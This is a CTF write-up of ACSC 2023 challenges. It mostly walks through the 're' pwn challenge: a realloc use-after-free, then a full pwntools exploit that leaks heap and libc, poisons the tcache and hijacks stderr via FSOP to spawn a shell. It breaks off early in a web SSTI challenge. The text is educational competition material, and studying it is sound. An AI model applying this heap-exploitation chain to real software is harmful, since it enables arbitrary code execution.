Contents

ACSC 2023

https://i.imgur.com/st6T2fx.png
ACSC 2023

This weekend, I spent my time competing at ACSC 2023. I got the 35th place, so I won’t be qualified. The challenges are good, so I decided to create this writeup for my future notes in case I faced similar problems. Below is my writeup for some of the challenges that I managed to solve.

Pwn

re (300 pts)

Description

Sometimes you want to rewrite notes.

nc re.chal.ctf.acsc.asia 9999

nc re-2.chal.ctf.acsc.asia 7352 (Backup)

Initial Analysis

We were given a binary file called chall and the libc as well. Checking the given libc, it is libc-2.35. Let’s try to disassemble the binary first.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        printf("\nMENU\n1. Edit\n2. List\n0. Exit\n> ");
        v3 = getint();
        if ( v3 != 2 )
          break;
        for ( i = 0; i <= 9; ++i )
        {
          if ( memo_size[2 * (int)i] && memo_arr[2 * (int)i] )
          {
            argv = (const char **)i;
            printf("[%d] %.*s\n", i, memo_size[2 * (int)i], memo_arr[2 * (int)i]);
          }
        }
      }
    }
    while ( v3 > 2 );
    if ( !v3 )
      break;
    if ( v3 == 1 )
      edit((__int64)"\nMENU\n1. Edit\n2. List\n0. Exit\n> ", (__int64)argv);
  }
  puts("Bye.");
  return 0;
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall edit(__int64 a1, __int64 a2)
{
  unsigned int v3; // [rsp+0h] [rbp-10h]
  unsigned int size; // [rsp+4h] [rbp-Ch]
  void *alloc_ptr; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  v3 = getint();
  if ( v3 > 9 )
    return puts("Out of list");
  printf("Size: ");
  size = getint();
  if ( size > 0x78 )
    return puts("Too big memo");
  alloc_ptr = realloc(*((void **)&memo_arr + 2 * v3), size);
  if ( (unsigned __int64)size > *((_QWORD *)&memo_size + 2 * v3) )
    *((_QWORD *)&memo_arr + 2 * v3) = alloc_ptr;
  *((_QWORD *)&memo_size + 2 * v3) = size;
  printf("Memo: ");
  getnline(*((_QWORD *)&memo_arr + 2 * v3), size);
  return puts("Done");
}

Okay, so looking at the disassembly, we can get some informations related to it:

  • Even though the disassembly gave us two array called memo_arr and memo_size, it’s actually just an array of struct, where the struct consists of:
    • Size
    • Pointer to the memo
  • The max elements of the array are 10
  • There is only two feature, edit and list.
    • list will iterate through the array, and then print the content only if the element size is not 0.
    • edit will allow you to call realloc on the array elements.
      • Max size is 0x78

So, the binary doesn’t use malloc or free, but it only use realloc to control the chunks. AFAIK, how realloc works:

  • realloc(NULL, new_size) is equivalent to normal malloc
  • realloc(ptr, new_size) will have different behaviors:
    • If new_size is the same, it will return the same chunk
    • Else:
      • if new_size is smaller, it will free the chunk and resize it to smaller size. The remainder will be placed in free list.
      • If new_size is bigger, it will free the current chunk and return a new bigger chunk.

Now, what if the new_size is 0? Basically, it is the same as free!

If you see on the edit function, it doesn’t handle properly if we try to realloc a chunk to 0. It didn’t nullify the ptr stored in the memo array. This is the bug that we will abuse. The initial analysis is finished, so now it’s time to think how to exploit this bug.

Exploitation

Understanding how realloc works

Because I’m not too familiar with how realloc works, I decided to play around it first. Let’s build our helper first so that we can interact with the binary easier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "re-2.chal.ctf.acsc.asia"
remote_port = 7352
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r


r = conn() 

def edit(idx, size, memo):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'Index: ', str(idx).encode())
    r.sendlineafter(b'Size: ', str(size).encode())
    if size > 1:
        r.sendafter(b'Memo: ', memo)

def list():
    r.sendlineafter(b'> ', b'2')
    return r.recvuntil(b'\nMENU').strip()

def exit_program():
    r.sendlineafter(b'> ', b'0')

Some behavior that I notice. during testing:

  • Suppose that the size that we want to allocate is 0x70.
  • If you do realloc(NULL, 0x70), if there is a free chunk in the tcache it will use it.
  • However, if you let say do this sequence:
    • a = NULL
    • b = NULL
    • a = realloc(a, 0x70)
    • b = realloc(b, 0x70)
    • b = realloc(b, 0) (Free)
    • a = realloc(a, 0x10) (Resize to smaller chunk)
    • a = realloc(a, 0x70) (Resize to bigger chunk)

The last realloc didn’t want to use entry in tcache. It will create a new 0x70 chunk. If you run the below script:

1
2
3
4
5
edit(0, 0x70, b'a')
edit(1, 0x70, b'a')
edit(1, 0x0, b'a') # Free
edit(0, 0x10, b'a')
edit(0, 0x70, b'a')

Observing in the gdb, the result is like below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> bins
tcachebins
0x20 [  1]: 0x55555555a2a0 ◂— 0x0
0x60 [  1]: 0x55555555a2c0 ◂— 0x0
0x80 [  1]: 0x55555555a320 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555a000
Size: 0x291

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55555555a290
Size: 0x21
fd: 0x55555555a

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55555555a2b0
Size: 0x61
fd: 0x55555555a

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55555555a310
Size: 0x81
fd: 0x55555555a

Allocated chunk | PREV_INUSE
Addr: 0x55555555a390
Size: 0x81

Top chunk | PREV_INUSE
Addr: 0x55555555a410
Size: 0x20bf1

As you can see, the free chunk in the tcache is not used. This piece of information will be useful later during crafting my final exploit.

Another behavior that I discovered is that:

  • Supposed that you have ptr which is a freed chunk with size 0x70
  • And then you call realloc(ptr, 0x70) on that freed chunk.
  • Because the size is the same, realloc won’t do nothing to that chunk. So it won’t allocate nor free that chunk again.

Combining the bug with how realloc works

Question
Now that we have played around realloc for a while, time to think on our plan to exploit the bug. Given the bug that it never nullify the entry once it has entered the array, what should we do to abuse this so that we can gain code execution?
Answer
The answer is we need to create overlapping chunks, so that we can trigger Use-After-Free!

Let’s look on the below sequence:

1
2
3
4
5
6
7
8
# Create Tcache overlapping chunks
edit(0, 0x70, b'a'*8)
edit(1, 0x70, b'a'*8)
edit(0, 0, b'a'*8) # tcache[0x80] = chunks[0]
edit(1, 0, b'a'*8) # tcache[0x80] = chunks[1] -> chunks[0]
# This realloc will use the latest chunk in tcache[0x80]. Now, chunks[2] and chunks[1] overlap.
# tcache[0x80] = chunks[0]
edit(2, 0x70, b'a'*8) # chunks[2] == chunks[1]

The above will make chunks[1] and chunks[2] pointing to the same address, which mean we have overlapping chunks. Below is the proof:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> tele &mlist 20
00:0000│  0x56128da5d040 (mlist) ◂— 0x0
01:0008│  0x56128da5d048 (mlist+8) —▸ 0x56128f9d42a0 ◂— 0x56128f9d4
02:0010│  0x56128da5d050 (mlist+16) ◂— 0x0
03:0018│  0x56128da5d058 (mlist+24) —▸ 0x56128f9d4320 ◂— 'aaaaaaaa' // chunks[1]
04:0020│  0x56128da5d060 (mlist+32) ◂— 0x70 /* 'p' */
05:0028│  0x56128da5d068 (mlist+40) —▸ 0x56128f9d4320 ◂— 'aaaaaaaa' // chunks[2]
06:0030│  0x56128da5d070 (mlist+48) ◂— 0x0
07:0038│  0x56128da5d078 (mlist+56) ◂— 0x0
08:0040│  0x56128da5d080 (mlist+64) ◂— 0x0
09:0048│  0x56128da5d088 (mlist+72) ◂— 0x0
0a:0050│  0x56128da5d090 (mlist+80) ◂— 0x0
0b:0058│  0x56128da5d098 (mlist+88) ◂— 0x0
0c:0060│  0x56128da5d0a0 (mlist+96) ◂— 0x0
0d:0068│  0x56128da5d0a8 (mlist+104) ◂— 0x0
0e:0070│  0x56128da5d0b0 (mlist+112) ◂— 0x0
0f:0078│  0x56128da5d0b8 (mlist+120) ◂— 0x0
10:0080│  0x56128da5d0c0 (mlist+128) ◂— 0x0
11:0088│  0x56128da5d0c8 (mlist+136) ◂— 0x0
12:0090│  0x56128da5d0d0 (mlist+144) ◂— 0x0
13:0098│  0x56128da5d0d8 (mlist+152) ◂— 0x0

Now that we have overlapping chunk, we can do so many things.

Get heap address leak

Let’s start by leaking the heap address. To get a leak, we just need to call realloc(chunks[1], 0). Notice that the tcache bin linked list will become chunks[1] -> chunks[0], and the free call on chunks[1] will be considered as success because it is a valid chunk (due to the realloc call during initializing chunks[2]), yet the chunks[2] size stored in the mlist array will be still 0x70 (Because we call realloc on the chunks[1], not the chunks[2]. So, the binary only update the size stored in chunks[1]).

You just need to call list and the binary will still print the content of chunks[2], which now contains a pointer to the chunks[0]. Remember that the libc-2.35 mangle the pointer, but it is easy to demangle it. Below is the helper for demangle and mangle it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Taken from https://ctftime.org/writeup/34804
def demangle(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

Let’s continue our previous script by doing those two reallocs:

1
2
3
4
5
6
7
8
edit(1, 0, b'a'*8) # Free chunks[1]. Now, chunks[2] contains mangled heap pointer

# Get the leak via list() feature
out = list()
leaked_link = u64(out.split(b'[2] ')[1][:6].ljust(8, b'\x00'))
leaked_heap = demangle(leaked_link) # Leaked heap == chunks[0] heap address
log.info(f'leaked heap: {hex(leaked_heap)}')
pause()

And below is the result:

1
2
[*] leaked heap: 0x5634e9da52a0
[*] Paused (press any to continue)

Now that we have a leak of the heap address, our next target would be to get a libc leak.

Get libc address leak

After thinking it for a while on how to get a libc leak, my approach is to create a fake chunk with size 0x420, free it (So that it will go to unsorted bin, and contain libc address), and try to take a look on its content after being freed.

In order to do that, what we need to do:

  • Poison the tcache free list, so that calling realloc will allocate to our desired address for our fake chunk.
  • Create overlapped chunk on that fake chunk.
  • Update the metadata of the fake chunk to 0x420
  • free it. Now the fake chunk will go to unsorted bin and contains libc adress of main_arena+96
  • Now with the overlapped chunk, we will use list to peek its content.

Below is the script to do that (continuing our previous script) with self-explanatory comment

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Now, our target is to create a fake chunk with size 0x420, free it, and then peek its content
#
# First, poison the tcache list so that the realloc will allocate a chunk to our fake chunk.
# We will place the fake chunk inside the chunks[0]+0x10, so that the fake chunk metadata will be placed in chunks[0]+0x0,
# which mean we can edit the fake chunk metadata later after it got allocated by calling edit on chunks[0]
target_addr = leaked_heap+0x10
payload = p64(mangle(target_addr, target_addr))
# Poison tcache list.
# Notes that this realloc will do nothing as chunks[1] size metadata is still the same (0x80), 
# which is why the tcache[0x80] won't be consumed.
edit(1, 0x70, payload)
edit(3, 0x70, b'a'*8) # Will used the tcache entry, which is the same address as chunk[1]
edit(4, 0x70, b'a'*8) # Now, chunks[4] = chunks[0]+0x10

# Second, create an overlap chunk with chunks[4].
# We want to overlap chunks[4] and chunks[5].
# But first, fix the metadata of the fake chunk first, so that the size will be set to 0x81
payload = p64(0) + p64(0x81)
edit(0, 0x70, payload) # Fix the metadata of the fake chunk by editing the chunks[0]
edit(4, 0, b'a') # Now, we can free the chunks[4]. After the free, tcache[0x80] = chunks[4]
# Allocate a new chunks[5], and it will use the latest chunk in tcache[0x80], which is chunks[4].
edit(5, 0x70, b'a') # Now, chunks[5] == chunks[4]

# Third, forge the metadata to 0x421
payload = p64(0) + p64(0x421)
edit(0, 0x70, payload) # Overwrite the metadata of the fake chunk

# Now, before we free the fake chunk, we need to create two more valid fake chunks after fake_chunk+0x420
# to fulfill the security check implemented in glibc.
# But we don't have yet chunk which reside on that area (fake_chunk+0x420).
# 
# So we need to call multiple realloc on the same chunks first to grow our heap, so that one of our controlled chunk.
# is placed around that area.
#
# Remember that if we call realloc with the same size, it will do nothing. So, to grow our heap, the trick is
# we will realloc the target chunk to smaller size first, and then realloc it back again to the desired size.
# 
# Also, remember that from our experiments, reallocing existing chunk to larger size won't use any cache
# So, by doing this, we are guaranteed to grow our heap (none of our tcache chunks will be used).
#
# Now, Observing the gdb, top chunk is placed in fake_chunk+0xf0.
# So, to be able forge two more fake chunks on fake_chunk+0x420, we will need to allocate more.
for _ in range(6):
    edit(1, 0x10, b'a')
    edit(1, 0x70, p64(0))
# The above loop will make the top chunk is placed in fake_chunk+0x3f0

# Resize it to smaller chunk first before doing the last allocation.
edit(1, 0x10, b'a')

# Now, the below allocation will make the top chunk is placed in fake_chunk+0x470, which is enough
# Specifically, the allocated chunk will be placed in fake_chunk+0x400, and because the chunk size is 0x70, we will
# be able to forge two more fake chunk in area fake_chunk+0x420.
# 
# So, our two fake chunks will be placed starting from this_chunk+0x20
payload = p64(0)*4 # 0x20 padding
payload += p64(0) + p64(0x21) + p64(0)*2 # second fake chunk
payload += p64(0) + p64(0x21) + p64(0)*2 # third fake chunk
edit(1, 0x70, payload)
# Now, our fake_chunk next chunks will be a valid chunk. We will be able to call free(chunks[4])

# Free it to unsorted bin. Remember that chunks[4] == chunks[5]. 
# So, if you call list(), chunks[5] content will be a libc address to main_arena+96.
edit(4, 0, b'a')

# Get Libc leak
out = list()
leaked_libc = u64(out.split(b'[5] ')[1][:6].ljust(8, b'\x00'))
log.info(f'leaked libc: {hex(leaked_libc)}')
libc.address = leaked_libc - (libc.symbols['main_arena']+96)
log.info(f'libc base: {hex(libc.address)}')
pause()

Running the above script will give us a libc leak

1
2
3
[*] leaked libc: 0x7fa505d32ce0
[*] libc base: 0x7fa505b19000
[*] Paused (press any to continue)

Now we have a libc leak, so obviously, our next step will be to gain code execution

Gain Code Execution

Now that libc-2.35 has remove our favorite __free_hook, it isn’t easy enough to gain code execution after getting a libc leak. I’ve read this two great writeups (Writeup by nobodyisnobody on how to gain code execution in libc-2.35 via strlen+memcpy+one_gadget and Writeup by sechack on how to gain code execution in libc-2.35 via strlen), but none of them seems working on my case. So, I decided to do FSOP Attack to gain code execution. I’ve explained a detailed FSOP Attack on libc-2.35 in my previous writeup. You can check that post for further explanation on why my FSOP payload is like this as I use the same idea to gain code execution in this problem.

tl;dr; In order to do FSOP Attack, what we need to do is:

  • Create a fake wide vtable inside our heap area
  • Create a fake wide data which vtable is pointing tou our fake wide vtable
  • Poison the tcache free list again, so that we have two chunks allocated in _IO_2_1_stderr_ area, specifically:
    • _IO_2_1_stderr_+0x0, and _IO_2_1_stderr_+0x70
    • The reason why we need two is because to modify the whole stderr FILE, we need to modify around 0xe0 bytes, while the maximum allocation is 0x78. So, I need two chunks to do that.
  • Modify the stderr FILE so that:
    • flags is b' sh\x00\x00\x00\x00')
    • _IO_write_base is 0
    • _IO_write_ptr is 1
    • _wide_data points to our fake wide data
    • vtable points to _IO_wfile_jumps table
  • Exit from the binary so that we will get a shell.

Below is the continue of our previous script with self-explanatory comment:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Now, our target is to hijack the _IO_2_1_stderr_, so that during exit and flushing the available FILE,
# we will get a shell.
stderr_addr = libc.symbols['_IO_2_1_stderr_']

# We only need to forge the wide_vtable+0x68 entry,
# and we will place the fake_wide_vtable on chunks[0]
fake_wide_vtable_addr = leaked_heap-0x68 # By setting this, fake_wide_vtable+0x68 entry will point to chunks[0]
# We will setup this fake wide vtable contents later after we setup the _IO_2_1_stderr_

# We only need to forge the wide_data.vtable (which offset is wide_data+0xe0),
# and we will place the fake_wide_data on chunks[1].
# Observing in gdb, chunks[1] = chunks[0] + 0x400
fake_wide_data_addr = leaked_heap+0x400-0xe0 # By setting this, fake_wide_data.vtable will point to chunks[1]
# We will setup this fake wide data contents later after we setup the _IO_2_1_stderr_

# Setup a fake stderr FILE structure
# We will split the whole fake stderr to two chunks
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_wide_data_addr
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps']
fake_stderr_bytes = bytes(fake_stderr)

# We want to allocate a chunk to _IO_2_1_stderr_+0x0
# First, fix the chunks[1] size metadata from 0x420 back to 0x80
payload = p64(0) + p64(0x81)
edit(0, 0x70, payload) # After this edit, we will be able to free the chunks[1]
edit(1, 0, b'a')
edit(4, 0, b'a') # After this, tcache[0x80] = chunks[4] -> chunks[1]

# Remember that chunks[4] = chunks[0]+0x10. So, we're able to edit chunks[4] tcache pointer via chunks[0].
# Why don't we directly edit it via chunks[4]? Well we actually can, but in this case, the realloc will throw
# error next size, because the chunks[4] size is no 0x80, and we haven't properly setup fake chunks in area chunks[4]+0x80
payload = p64(0)+p64(0x81)
payload += p64(mangle(target_addr, stderr_addr)) # Don't forget to mangle it, because tcache pointer expecting a mangled address.
edit(0, 0x70, payload)
edit(6, 0x70, b'0') # After this, next allocation will be placed in _IO_2_1_stderr_+0x0

# Put the first half of our fake_stderr bytes on this allocation, because chunks[7] will be
# allocated in _IO_2_1_stderr_+0x0
payload = fake_stderr_bytes[:0x6f]
edit(7, 0x70, payload)

# Now, repeat the previous step so that we can allocate a chunk to _IO_2_1_stderr_+0x70
edit(4, 0, b'a')
edit(0, 0, b'a') # Now tcache[0x80] = chunks[0] -> chunks[4]

# Poison tcache pointer to point to _IO_2_1_stderr_+0x70
edit(0, 0x70, p64(mangle(target_addr, stderr_addr+0x70))) # Don't forget to mangle it
edit(8, 0x70, b'0') # After this, next allocation will be placed in _IO_2_1_stderr_+0x70

# Put the second half of our fake_stderr bytes on this allocation, because chunks[9] will be
# allocated in _IO_2_1_stderr_+0x70
payload = fake_stderr_bytes[0x70:0x70+0x6f]
edit(9, 0x70, payload)
# Now that we have successfully forge _IO_2_1_stderr_, time to finish it

# Setup fake_wide_vtable entry to system
edit(0, 0x70, p64(libc.symbols['system']))

# Setup fake_wide_data.vtable to point to our fake wide vtable
edit(1, 0x70, p64(fake_wide_vtable_addr))

# Exit from the binary, and we will get a shell!
exit_program()
r.interactive()

Running the above script, we will get a shell and we will be able to retrieve the flag!

Full Script

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "re-2.chal.ctf.acsc.asia"
remote_port = 7352
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r


r = conn()

def demangle(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val
    
def edit(idx, size, memo):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'Index: ', str(idx).encode())
    r.sendlineafter(b'Size: ', str(size).encode())
    if size > 1:
        r.sendafter(b'Memo: ', memo)

def list():
    r.sendlineafter(b'> ', b'2')
    return r.recvuntil(b'\nMENU').strip()

def exit_program():
    r.sendlineafter(b'> ', b'0')

# Create Tcache overlapping chunks
edit(0, 0x70, b'a'*8)
edit(1, 0x70, b'a'*8)
edit(0, 0, b'a'*8) # tcache[0x80] = chunks[0]
edit(1, 0, b'a'*8) # tcache[0x80] = chunks[1] -> chunks[0]
# This realloc will use the latest chunk in tcache[0x80]. Now, chunks[2] and chunks[1] overlap.
# tcache[0x80] = chunks[0]
edit(2, 0x70, b'a'*8) # chunks[2] == chunks[1]
edit(1, 0, b'a'*8) # Free chunks[1]. Now, chunks[2] contains mangled heap pointer

# Get the leak via list() feature
out = list()
leaked_link = u64(out.split(b'[2] ')[1][:6].ljust(8, b'\x00'))
leaked_heap = demangle(leaked_link) # Leaked heap == chunks[0] heap address
log.info(f'leaked heap: {hex(leaked_heap)}')
pause()

# Now, our target is to create a fake chunk with size 0x420, free it, and then peek its content
#
# First, poison the tcache list so that the realloc will allocate a chunk to our fake chunk.
# We will place the fake chunk inside the chunks[0]+0x10, so that the fake chunk metadata will be placed in chunks[0]+0x0,
# which mean we can edit the fake chunk metadata later after it got allocated by calling edit on chunks[0]
target_addr = leaked_heap+0x10
payload = p64(mangle(target_addr, target_addr))
# Poison tcache list.
# Notes that this realloc will do nothing as chunks[1] size metadata is still the same (0x80), 
# which is why the tcache[0x80] won't be consumed.
edit(1, 0x70, payload)
edit(3, 0x70, b'a'*8) # Will used the tcache entry, which is the same address as chunk[1]
edit(4, 0x70, b'a'*8) # Now, chunks[4] = chunks[0]+0x10

# Second, create an overlap chunk with chunks[4].
# We want to overlap chunks[4] and chunks[5].
# But first, fix the metadata of the fake chunk first, so that the size will be set to 0x81
payload = p64(0) + p64(0x81)
edit(0, 0x70, payload) # Fix the metadata of the fake chunk by editing the chunks[0]
edit(4, 0, b'a') # Now, we can free the chunks[4]. After the free, tcache[0x80] = chunks[4]
# Allocate a new chunks[5], and it will use the latest chunk in tcache[0x80], which is chunks[4].
edit(5, 0x70, b'a') # Now, chunks[5] == chunks[4]

# Third, forge the metadata to 0x421
payload = p64(0) + p64(0x421)
edit(0, 0x70, payload) # Overwrite the metadata of the fake chunk

# Now, before we free the fake chunk, we need to create two more valid fake chunks after fake_chunk+0x420
# to fulfill the security check implemented in glibc.
# But we don't have yet chunk which reside on that area (fake_chunk+0x420).
# 
# So we need to call multiple realloc on the same chunks first to grow our heap, so that one of our controlled chunk.
# is placed around that area.
#
# Remember that if we call realloc with the same size, it will do nothing. So, to grow our heap, the trick is
# we will realloc the target chunk to smaller size first, and then realloc it back again to the desired size.
# 
# Also, remember that from our experiments, reallocing existing chunk to larger size won't use any cache
# So, by doing this, we are guaranteed to grow our heap (none of our tcache chunks will be used).
#
# Now, Observing the gdb, top chunk is placed in fake_chunk+0xf0.
# So, to be able forge two more fake chunks on fake_chunk+0x420, we will need to allocate more.
for _ in range(6):
    edit(1, 0x10, b'a')
    edit(1, 0x70, p64(0))
# The above loop will make the top chunk is placed in fake_chunk+0x3f0

# Resize it to smaller chunk first before doing the last allocation.
edit(1, 0x10, b'a')

# Now, the below allocation will make the top chunk is placed in fake_chunk+0x470, which is enough
# Specifically, the allocated chunk will be placed in fake_chunk+0x400, and because the chunk size is 0x70, we will
# be able to forge two more fake chunk in area fake_chunk+0x420.
# 
# So, our two fake chunks will be placed starting from this_chunk+0x20
payload = p64(0)*4 # 0x20 padding
payload += p64(0) + p64(0x21) + p64(0)*2 # second fake chunk
payload += p64(0) + p64(0x21) + p64(0)*2 # third fake chunk
edit(1, 0x70, payload)
# Now, our fake_chunk next chunks will be a valid chunk. We will be able to call free(chunks[4])

# Free it to unsorted bin. Remember that chunks[4] == chunks[5]. 
# So, if you call list(), chunks[5] content will be a libc address to main_arena+96.
edit(4, 0, b'a')

# Get Libc leak
out = list()
leaked_libc = u64(out.split(b'[5] ')[1][:6].ljust(8, b'\x00'))
log.info(f'leaked libc: {hex(leaked_libc)}')
libc.address = leaked_libc - (libc.symbols['main_arena']+96)
log.info(f'libc base: {hex(libc.address)}')
pause()

# Now, our target is to hijack the _IO_2_1_stderr_, so that during exit and flushing the available FILE,
# we will get a shell.
stderr_addr = libc.symbols['_IO_2_1_stderr_']

# We only need to forge the wide_vtable+0x68 entry,
# and we will place the fake_wide_vtable on chunks[0]
fake_wide_vtable_addr = leaked_heap-0x68 # By setting this, fake_wide_vtable+0x68 entry will point to chunks[0]
# We will setup this fake wide vtable contents later after we setup the _IO_2_1_stderr_

# We only need to forge the wide_data.vtable (which offset is wide_data+0xe0),
# and we will place the fake_wide_data on chunks[1].
# Observing in gdb, chunks[1] = chunks[0] + 0x400
fake_wide_data_addr = leaked_heap+0x400-0xe0 # By setting this, fake_wide_data.vtable will point to chunks[1]
# We will setup this fake wide data contents later after we setup the _IO_2_1_stderr_

# Setup a fake stderr FILE structure
# We will split the whole fake stderr to two chunks
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_wide_data_addr
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps']
fake_stderr_bytes = bytes(fake_stderr)

# We want to allocate a chunk to _IO_2_1_stderr_+0x0
# First, fix the chunks[1] size metadata from 0x420 back to 0x80
payload = p64(0) + p64(0x81)
edit(0, 0x70, payload) # After this edit, we will be able to free the chunks[1]
edit(1, 0, b'a')
edit(4, 0, b'a') # After this, tcache[0x80] = chunks[4] -> chunks[1]

# Remember that chunks[4] = chunks[0]+0x10. So, we're able to edit chunks[4] tcache pointer via chunks[0].
# Why don't we directly edit it via chunks[4]? Well we actually can, but in this case, the realloc will throw
# error next size, because the chunks[4] size is no 0x80, and we haven't properly setup fake chunks in area chunks[4]+0x80
payload = p64(0)+p64(0x81)
payload += p64(mangle(target_addr, stderr_addr)) # Don't forget to mangle it, because tcache pointer expecting a mangled address.
edit(0, 0x70, payload)
edit(6, 0x70, b'0') # After this, next allocation will be placed in _IO_2_1_stderr_+0x0

# Put the first half of our fake_stderr bytes on this allocation, because chunks[7] will be
# allocated in _IO_2_1_stderr_+0x0
payload = fake_stderr_bytes[:0x6f]
edit(7, 0x70, payload)

# Now, repeat the previous step so that we can allocate a chunk to _IO_2_1_stderr_+0x70
edit(4, 0, b'a')
edit(0, 0, b'a') # Now tcache[0x80] = chunks[0] -> chunks[4]

# Poison tcache pointer to point to _IO_2_1_stderr_+0x70
edit(0, 0x70, p64(mangle(target_addr, stderr_addr+0x70))) # Don't forget to mangle it
edit(8, 0x70, b'0') # After this, next allocation will be placed in _IO_2_1_stderr_+0x70

# Put the second half of our fake_stderr bytes on this allocation, because chunks[9] will be
# allocated in _IO_2_1_stderr_+0x70
payload = fake_stderr_bytes[0x70:0x70+0x6f]
edit(9, 0x70, payload)
# Now that we have successfully forge _IO_2_1_stderr_, time to finish it

# Setup fake_wide_vtable entry to system
edit(0, 0x70, p64(libc.symbols['system']))

# Setup fake_wide_data.vtable to point to our fake wide vtable
edit(1, 0x70, p64(fake_wide_vtable_addr))

# Exit from the binary, and we will get a shell!
exit_program()
r.interactive()

Flag: ACSC{r34ll0c_15_n07_ju57_r34ll0c473}

Web

easySSTI (200 pts)

Description
Can you SSTI me?

Initial Analysis

On this challenge, we were given a WAF file called index.js and a go file called main.go as the main server. Let’s check the WAF file first

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const Fastify = require('fastify')
const proxy = require('@fastify/http-proxy')

const server = Fastify({ logger: true })

server.register(proxy, {
  upstream: 'http://app:3001',
  replyOptions: {
    rewriteRequestHeaders: (req, headers) => {
      const allowedHeaders = [
        'host', 'user-agent', 'accept', 'template'
      ]
      return Object.fromEntries(Object.entries(headers).filter(el => allowedHeaders.includes(el[0])))
    },
    onResponse: (request, reply, res) => {
      const dataChunk = []
      res.on('data', chunk => {
        dataChunk.push(chunk)
      })

      res.on('end', () => {
        const data = dataChunk.join('')

        if (/ACSC\{.*\}/.test(data)) {
          return reply.code(403).send("??")
        }

        return reply.send(data)
      })
    },
  }
})

